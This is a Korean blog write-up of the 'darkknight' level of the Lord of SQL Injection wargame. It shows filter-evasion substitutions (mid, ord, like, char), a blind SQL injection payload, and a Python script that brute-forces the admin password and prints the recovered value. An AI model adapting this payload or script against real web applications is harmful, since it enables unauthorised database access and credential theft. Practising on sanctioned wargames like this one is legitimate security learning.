티스토리 뷰

마흔여덟 번째 글.

 

 

1. 코드 분석

single qutoe, substr, ascii, = 를 필터링하고 있었으며 admin의 pw를 찾아야지 문제가 풀린다.

 

 

2. Exploit

single quote가 필터링되고 있고 파라미터 no가 single quote로 감싸져 있지 않기 때문에 이쪽을 이용해야 한다.

substr -> mid

ascii -> ord

= -> like

 

 

?no=1000 or id like(char(97,100,109,105,110)) and 1 like(if(ord(mid(pw,인덱스,1))like(비교값),1,0))%23

위에 처럼 사용하면 된다.

문제를 처음 풀 때 약간 이상했다. 분명 pw의 길이는 8글자가 맞는데 계속 7자리만 나오는 것이다...

확인해보니 우연한 건지 의도인지 모르겠지만 guest와 admin의 pw의 8번째 문자가 같아서 

계속 'Hello guest'가 출력된 것이었다. 그렇기 때문에 id가 admin이라는 것을 명시해줄 필요가 있었다.

 

 

import requests

sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
password_length = 0
password = ''

## get password length
for i in range(100):
    url = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1 or length(pw)like({i})%23"
    res = sess.get(url, headers=headers)
    if('Hello admin' in res.text and i !=4):
        print('Password length is ', i)
        password_length = i
        break
## get password
for i in range(password_length+1):

    for j in range(32, 127):
        url = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1000 or id like(char(97,100,109,105,110)) and 1 like(if(ord(mid(pw,{i},1))like({j}),1,0))%23"
        res = sess.get(url, headers=headers)
        if('Hello admin' in res.text):
            password = password+chr(j)
            print(password)
            break

print("Password is " + password)

코드를 돌려보면 admin의 pw는 '0b70ea1f'이다.

 

 

 

 

'writeup > LOS' 카테고리의 다른 글

[Lord of SQL injection] assassin  (0) 2021.07.15
[Lord of SQL injection] bugbear  (0) 2021.07.13
[Lord of SQL injection] golem  (0) 2021.07.11
[Lord of SQL injection] vampire  (0) 2021.07.10
[Lord of SQL injection] troll  (0) 2021.07.10